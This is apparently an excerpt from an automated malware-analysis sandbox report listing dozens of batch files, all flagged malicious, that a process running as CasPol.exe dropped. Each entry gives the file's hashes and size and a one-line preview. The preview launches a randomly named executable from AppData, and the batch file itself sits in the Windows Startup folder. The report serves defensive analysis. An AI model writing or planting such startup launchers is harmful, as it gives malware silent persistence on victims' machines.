                                                                                                        Entropy (8bit):4.9957153271690515
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5T7qRqWzAln:fE1qLTwi23fEy
                                                                                                        MD5:7D626D5F4DB8B6E13297BB1D5FEB1419
                                                                                                        SHA1:4C91A626C1A277751DAFE0B9032EB3CF1F34978D
                                                                                                        SHA-256:67264E2070A2FBCA175B4189C5233653A1D46015237F6A038DDB60D05AD542F8
                                                                                                        SHA-512:D6E3F1A3718261BAA0AF406F7D2909AAA1000EDC855A609E3FBBBE9F20CDECA3CC6A8EFEFF006AACF838DDC751644DDC62EDD0F229D638E379A11F2D9717F9A3
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4v3zAm9R6NxAyWSDdrEyRjzv.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.9552022756666485
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5JdCvgLNCl:fE1qLTwi23TCvO4l
                                                                                                        MD5:7E837FBBB4D223782AF6C80EB00F2627
                                                                                                        SHA1:A6D3C23E039A2154D1F2AB04659C7084169CDF83
                                                                                                        SHA-256:04479FA057251E891F9BA7A52D6B7671A3FD9A84B4969A9033B8ED1298527C3B
                                                                                                        SHA-512:4D634C53B85A4AB1CE56DF66B74F6E4D9CF1DE112C3119B4B279D72EB42FEA19B93719E0E7DCDBD37F01E303C7EA90AAFDAAAFECE1149942375282CAC6F697E4
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\lx1ggIRPyoQP8uRSWNRnkZlF.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5QDpHdUdPGqfrvwvPMstJLuM.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.741495378966068
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5iVDGIL6Ty0li/cCHF:fE1qLTwi23ipGImW0lMl
                                                                                                        MD5:BC0735C3FF202747BD9A2AB8EB648205
                                                                                                        SHA1:9620D2E43492A8EF99625ABAF42428F9B0EB8C63
                                                                                                        SHA-256:DF1655E89AE21869122B2AF3507DCAC39B99F80FCD709D6AA955D3DB85D0A9F9
                                                                                                        SHA-512:E5748394B14D12103ABE41D878D395F235D076656FBF89B4822BF53D52FCBC3F2920A9B57E0C96F0601942AEFF235BD99B444CC1E00FCB56559D35F62216AC94
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\GpflmvanezvTQUdAxFgnanZZ.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\83TGfv1Q8Lh4D7c36336nVkD.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.854397084897923
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J59OdNc2HZ8tiF:fE1qLTwi23FC8tm
                                                                                                        MD5:FF994F27A37689C22E21B8671AD6643D
                                                                                                        SHA1:F43579967D5E96A5B86C3D86B1210E90C415EA7E
                                                                                                        SHA-256:8A05B15E93E9B74DA4928425CE31B6B9970127CC52DD34F99D0675637C84EC4F
                                                                                                        SHA-512:D5BF02A6BCF43D6015172B4DAA1496B5AF53434DB14FA26CFF7D79C49AE47DDE3DD1ECF1A0C9FF1F6EF0C81B16DF575A8F5BBCD18CF721776DBFDCDA73DD2A14
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\Xkv4Yy91IYUWlrxVDJ9pNrAt.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9DzcdBj68Lp4dGPdGwvZEsfD.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.036228378671456
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5HRfgRSzSdjL:fE1qLTwi23xfgLdjL
                                                                                                        MD5:C79707742BDBA7FA229D6247C8A4A4D2
                                                                                                        SHA1:7FAE9359C8FE70DCE23B394BA4E7932D44AB3682
                                                                                                        SHA-256:E5A49B6A942FB5AB1251EE0B9160C629FA0601B8CB00D24E405AB32CA3556615
                                                                                                        SHA-512:6E854E91C0217A1A8685B715DEDEAA1ABEA9037917A23F01EA961787198206330C0A5088E6CB35443944C043F65B3E392FAE9F918279AC3B6D3B9C0FD08B5EC1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\b4zg4yZEcBA3hWZ7TCSqnxRv.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AS0hnlpl66MtE0KLhjjOLNaC.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.876599658490966
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5WfPVQKkcWfZFn:fE1qLTwi23W3Q7F
                                                                                                        MD5:DC33040F383DBC750735942E59A6DB57
                                                                                                        SHA1:05A5E93BE4D1309061AA5E47B7AE19AC929B095A
                                                                                                        SHA-256:CFC444C09765DB5C944D6929C39D8FC63634CFCE433CDA7C85077BB977216C38
                                                                                                        SHA-512:35FB07DFDE362EEFFAE2ABD1514A0B3B551F8C47116DFDB5987FBA4A0D9DBA3F56F9D2BB21C1B9715D12082DE3C5F90622DA55C4F10877A61BC4A16AF3FF3C6C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\3zo1tV5f3Ay9BnN3gEE89S3s.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BDrGDlTifOLZNiBUheyxYQtf.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.953733665812091
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5WZgWqHfEFn:fE1qLTwi23WZgWqHfs
                                                                                                        MD5:842FD74CA9749043D86CFEB0E78EA6AB
                                                                                                        SHA1:527D97232A0F8CFE0D2673A57F2FEE9FBF0C5B04
                                                                                                        SHA-256:F82C6F309F3B463F1282B8704BAEF4D272A81FBA93A7848D7229CA7C8C394338
                                                                                                        SHA-512:6975EC4566D7A70813921DC7037587B717385783565ED27E54FE25C3321A55A8C3DDA0CA6CA7E3F4D6D2359CFC8103771CAA4E8CDF2D790C94389392E8C23FC7
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\37OEtIICZwQGY3VibExbHo6T.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdRu2tx6AXdnZcn7C2ODMWN7.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.938360407611844
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5STiN1Wyo04iF:fE1qLTwi23SMWyo0v
                                                                                                        MD5:B93AFB0772947C2D38B9229C9B26E95B
                                                                                                        SHA1:BD85171F1D6813FB5A4583C0F880144619F0145F
                                                                                                        SHA-256:AD5BB493C05BF816AA6FE24EF5B91324D0887D82B58A9E63572FD732AAC7861D
                                                                                                        SHA-512:6FA8D5ADD2A43A74240F15323382CE0893C3E5D372D9531867456EF3EF1A0081026B4445DDEA411C98255818A7E8D2F74724C4F0B6707E86F0FCE778AD7D2502
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BwXwSVZ6Bpyqj9zWj5xtHD5n.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.756529113838311
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5zSJPVkRBgfv6n:fE1qLTwi23mdYBgfv6
                                                                                                        MD5:57D1E619515031CF51C020F63BFAD573
                                                                                                        SHA1:A7676815CEBC00658D91A0EB8D5E755B36D55E11
                                                                                                        SHA-256:AEF815604E02213ADCB5AB492395316B0EDE5A01BEE1B65CF2E7CCCD41D8A4F7
                                                                                                        SHA-512:4CA31F7147EE7FA3CE96C240F4857C743FFFD188F6993C1C4A9A698E611EA58B4F21D30207F7AB888721109E1B183A994F0511078954437FF84FACDC8842F8BD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\V77ImAzjtVAt7W94zmw0o9VA.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C9Hw9d8EA13BUssagnw4SgFG.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.983145430517974
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5uRfTEW9WQcqkAln:fE1qLTwi23uR7EAJl
                                                                                                        MD5:32BE3D9854E688986DA08DAF69FC6EEF
                                                                                                        SHA1:335AE48D1D2F72771162EC8FA1057604C7453570
                                                                                                        SHA-256:69E8AEA6834B8A3A5A0230F7E41604CCF381666013A602D6CFDCFE21CD05708E
                                                                                                        SHA-512:6E726F19FB5C0A71F6578705135C44987A4552603B1BEE965E964CF6742FD38D9E16F636017EFFD0BE0A7299F4FC53B19846D562147BEEA9614195D5304967AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CAvIV9KXqIbkAjzNox8lXuKB.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.931531092219048
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J58/CSqUgHQkn:fE1qLTwi238SHQk
                                                                                                        MD5:F69C773FCABF26D926F72F762ED3DBE1
                                                                                                        SHA1:A7152C71323DF8364177ED3E7ADE0DB00D557C76
                                                                                                        SHA-256:C155069776F183591EF5CF9862D464955605C0A26B91462FDA5889DB716AE24B
                                                                                                        SHA-512:66B16444A166E437060D4B0CC9B1E7C750ACE864C123FC3EF0426FDB8FEF52E93A74162C79EED4280B350F92F5488794977D698D03EC630AAE665FD3822A44D0
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\YZIOt1H7OqHvSxgYCR6O5zpg.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\D7FXOCqUp7wquexSy2TvNclL.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.995715327169052
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5PRijwNLho:fE1qLTwi23pvE
                                                                                                        MD5:07A90831B7771908952D48CF69C5B9EF
                                                                                                        SHA1:11AD7B6F398AC33960C4936641B67FA1B39D2D78
                                                                                                        SHA-256:AB6D2DF7169A2D661F8732716995A39CE5A459D43A63519DC11BD01A092C1C83
                                                                                                        SHA-512:E71205EB713655D73018E1925803CA866B5FBB1967E63A35C31F39D23DA1D4C73417E73F0771E07F28BFE128AD30AECC77881167AC27FB348110279AFBB16E8E
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\j4PByMYVUXG02LUhnYCAO1Ii.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DCiIx4VC3BFIDXCPws8D583o.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.923900465365785
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J53lAVzPGmIkdan:fE1qLTwi23azPiD
                                                                                                        MD5:85F3DBCD33B5CBA3A3DDB57E41352A5C
                                                                                                        SHA1:1BB520EA86E21A31B64F1017352904D434C43E20
                                                                                                        SHA-256:32DA51234D9CFEA4C398742DAB36E3EB20159989C1E00C0129FD94FD0D5EDF81
                                                                                                        SHA-512:DE4CDC63A27E4CA0FCC13E981739242C964D6183A827D0DC284AFB219BDE49C72E7A2191722240429AE0323719A507A1D8CBE7796CEDD6FE4E2D27CB135C54FD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\RRe1rhCZ16opf2KOV6fOjlXA.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ElrigHO2FOmeuoC12a7pqHAf.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.92432190110621
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5SSWQ5Vwl:fE1qLTwi23SSVLwl
                                                                                                        MD5:9FBF593A3B9890224E159B005C2B0A39
                                                                                                        SHA1:57CAED974F3519134591E5C7D0418BB974E33DD3
                                                                                                        SHA-256:F5DFC331857B8C109DED17783173FF91AA741676A014D0E119BB57A3C267F2A2
                                                                                                        SHA-512:1813FE60F81E9C06220C5926F6B066285F6C695068A863B281279473BCE5D7B4DE963C53662EC8E262448DD7CF1B7825D18B05187F3FFCB985BA75C045C8CDDD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\wwJcXZC0IBum93LDA1ZMzXtI.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EygRHTeIn4ytbQctqBrMquUw.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):5.036228378671457
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5qAcbE0BSP:fE1qLTwi23qAco0kP
                                                                                                        MD5:A48BCC6346F18B1CDD4EDBB1C42A92A5
                                                                                                        SHA1:DCD5AEC602BB7B24B019F0CA583B798A1A366733
                                                                                                        SHA-256:9975F5BE7CD421836FCA028787A35E87A8BECAE577D162AF47787D79253B8AF1
                                                                                                        SHA-512:08652795DCE67C3F95FE90237432E1E50036FF580797C8D3073B279CC5C521CE7A99A86F209FAD14FF1005EC0135EAAB3402C45DC051CA89231BB462474BD96C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\OeIzFpPQv96lBLRJ074Q8fw6.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GB2b4OJnWSzsNtUT1nZRgmw1.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.872707562807284
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5KZi6AfAn:fE1qLTwi23KZi6CA
                                                                                                        MD5:DD86E729B8806658F6B7B9C34F8F26B5
                                                                                                        SHA1:47F22E74C4B37DFF6BEDAE8C225437CB6C72232A
                                                                                                        SHA-256:B16B6AB8A4644FF5E45DBA062B8314DF3A68C0F224304D17577E29E06C3ED2FF
                                                                                                        SHA-512:1460291C3DD5239B5EE949C32B535B7CFB74506134074AEBDA7C3DF076180C5F3795C2225052F819CF4A4C5A9260F91E5CF99BA548DDE90EF2AAAED8D0A36CC2
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\oNBeMrBpQUeJZTBuJ5mgI7VA.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I1Yy5iZU6IPX6zyfA19jJov5.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.865498371694445
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5V0c4MG3eVFn:fE1qLTwi23R4MXF
                                                                                                        MD5:95638629ED5CD904CE08E79CAB9B8C37
                                                                                                        SHA1:F22270A93D6491294CC749C7463EEAF0EEB1093A
                                                                                                        SHA-256:D535C6FED946336DA03470DD349CFE100189AE5B9AACCC4EE7F51CC153641877
                                                                                                        SHA-512:8238918EBFCCFDE9BA78CAB298658453DD6BC86CDBF362838C222F5D626AA5B28B53F306DEC13189535605D67CB2F7AD1757A0ECF547D660CB2D4659EF6ACB29
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\pQ6uZvesO0d4NLicCWC7lXTs.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I5UVn2ElA1TC7bAAmh5QM3ft.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):5.009402043730243
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5TSROSXuN7KL4/kdan:fE1qLTwi23i+t3/D
                                                                                                        MD5:82BF67B678D71082279654DB8A6BC374
                                                                                                        SHA1:AA02261FA72AFB2C772CF5998E152DA431D86EE7
                                                                                                        SHA-256:2D831A689B6E6F109FD24122D2BC448E0680150CF6D93FB5D0556E08B8CB9D54
                                                                                                        SHA-512:CEFBD4F6FC57B1A58AAFDDF552A420A66944F9E3BE42EA33A50D1A6AFBAB0130D92962E46A96DDB490D44922C87EE262E10F5098E5EA036970B3F632F7B5EE9D
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\674Kdwx0QZ5HYr8oith6hwyE.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IytYR3GaQ4RFrbtAYXGTLQtf.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.907480033051404
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5SO5xhUI4avn:fE1qLTwi23SO5xKav
                                                                                                        MD5:DD9A8CB0CA89227514E8F79C00B95318
                                                                                                        SHA1:3E5C040B8F608A3E8DAE7B9E1F529F4C3BBA8BC0
                                                                                                        SHA-256:443A20F75E50F0465F42E877AB33873FF4D91B034AC6BA3DF2DFB404B31CD41C
                                                                                                        SHA-512:4FBDC77CC87ED0F160E250C7FE77052878355F0E9ABF6F9E959EA32E46FC0DA8EECA103EA55EA5810125B1C945F5C9E292582FF4CDCF203AD21182FD6B336523
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\7kfsbB1Hl48Vwwq14EpVnfnY.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Kkzr4mGHkQP8vGs5ZY8tXyMX.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.9185813198479265
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5CNAU8kReEF:fE1qLTwi23CKUBb
                                                                                                        MD5:21F46AAC219FB292FD503E9618AADA90
                                                                                                        SHA1:5A68BE86AC957C1343929E585BCEEE021423B82A
                                                                                                        SHA-256:669AC27CB3FB05F683E5BB6254FA12832B9FFE3D94A4547CF5C9F9CC7E08E3E5
                                                                                                        SHA-512:CFE335D6C24E4B08E7869BD929E51A692B9E97935FBB6CD1BA03E8A52E975297F529CAFF8F06B93780FF156D73E86ADF14A542BAA8992BA802C4E34B32A25E94
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\ghRQ9o9v0E1RiBJYsVlARkCv.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\L5TEYLaQFPYWqJgYXoDmRWNi.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.905344460260131
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5Ak0aLXBAKACHykdan:fE1qLTwi23AwieSD
                                                                                                        MD5:D8E4BC4CE0872998C4D9EAC501D0AB66
                                                                                                        SHA1:D293A1128FF8A0F9C4F6AABCB87D2BD64D9CEBC6
                                                                                                        SHA-256:792E3B58341351DC8B3BCFE31F5C4E5D251EA1926565BB67DB5793358CFB0E8B
                                                                                                        SHA-512:F70CD44D9D71840E197C34C2D3B57204E9E0196C9C7973A62F5B585A425233A0C99A901DEA4EA99AD06620FFF18AE659E5B804A3925C9258E658AF67959ECCA8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\eahQfcDSk2Fi3XgQUppzGpDN.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LUsq7upEG2iiN4NxycmpIBDM.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.916157834018802
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5RDs3sAln:fE1qLTwi23lwl
                                                                                                        MD5:9006EFA2F803C2004843515D5886EF9D
                                                                                                        SHA1:BBC1EAC0390D221476CBA29700D6F7DF8BF9DAD5
                                                                                                        SHA-256:9860DC23AEDB14467EE8D9CD81FA20EE8AB5235F302F046B94F3812304E95FA4
                                                                                                        SHA-512:ED6C2D228D9B920F56EAE91A926FF912B5A85766B1F65EE79A6E7240C29C9BFD86C0D46CBF59CDB9716D6F99748E860C1191A43B03EEF85D8ED1915AFE124C3E
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\4f5Nx5TIr9aFLxNLjJPgXzZC.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LtFnqAp3vyKFpGtqe42Vqai7.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.832420583904252
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5H+SXO8LSkdan:fE1qLTwi23eSXED
                                                                                                        MD5:CBEF1BB9DE03374AE46E3A67E0C7048F
                                                                                                        SHA1:D04BDAF0F436B6ACFBD3F3278FB5179147A27351
                                                                                                        SHA-256:51412E7E85062F19A0BEECC113A5BCB67932AE138B7D08CE94CBF68005E19439
                                                                                                        SHA-512:455DBFCEB719956F31949EE9EEE194A8867C27C66B4D939DC3F67F12CC964AB3EDB0296F9C4ACA4AA2D8D0692DB6EC74457F62BF168ACDB61C2E5447A4F254D0
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\bsjI0DIR0uTLrijb320XXGIp.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwUEIn0u42avRg7NWL5JGs75.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.977404849259692
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5fQgW1InXjjFn:fE1qLTwi23ogWgF
                                                                                                        MD5:205751DC99D338AF13901429F72A890E
                                                                                                        SHA1:01FD90BEBA81F740EDB4A7D3455F886AA7916EDC
                                                                                                        SHA-256:D81AC3EC49CCB35ED6A680EAD5A9295ABD781FC1BE573210A65215226419296E
                                                                                                        SHA-512:268F6AE9DF0A5627B564BC099CEADE24DF8CB474F43C21413D84EF47080271E52B886D0AA25A44E2E7536F7A18F47A42478FCDF1D0956C619F1D2A0F58407F1D
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\zihCuAQZJ7sPILn6r3jO9GQY.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MQZXOAxlVcqy3RceiFUn5ftC.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.84865650363964
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5OBLVLW34m:fE1qLTwi23O3ev
                                                                                                        MD5:FCA093552591A1D896D68EA83CDBF692
                                                                                                        SHA1:72FD1F88342AB1BBFBDBBD722F3E919B9953F519
                                                                                                        SHA-256:B0B2693BF0F2A766D352499CFA0A335FF699C7909E6540AE91622BD00F524402
                                                                                                        SHA-512:FCD568C090FB5E3B9E76642680718BF65E741B525D3D4891B9C0E9D279E2F51916E624C39F7C7BCB32CCA5CEE141AAD2F199DC2FA347454DAA71D4E1E8E9C5E0
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
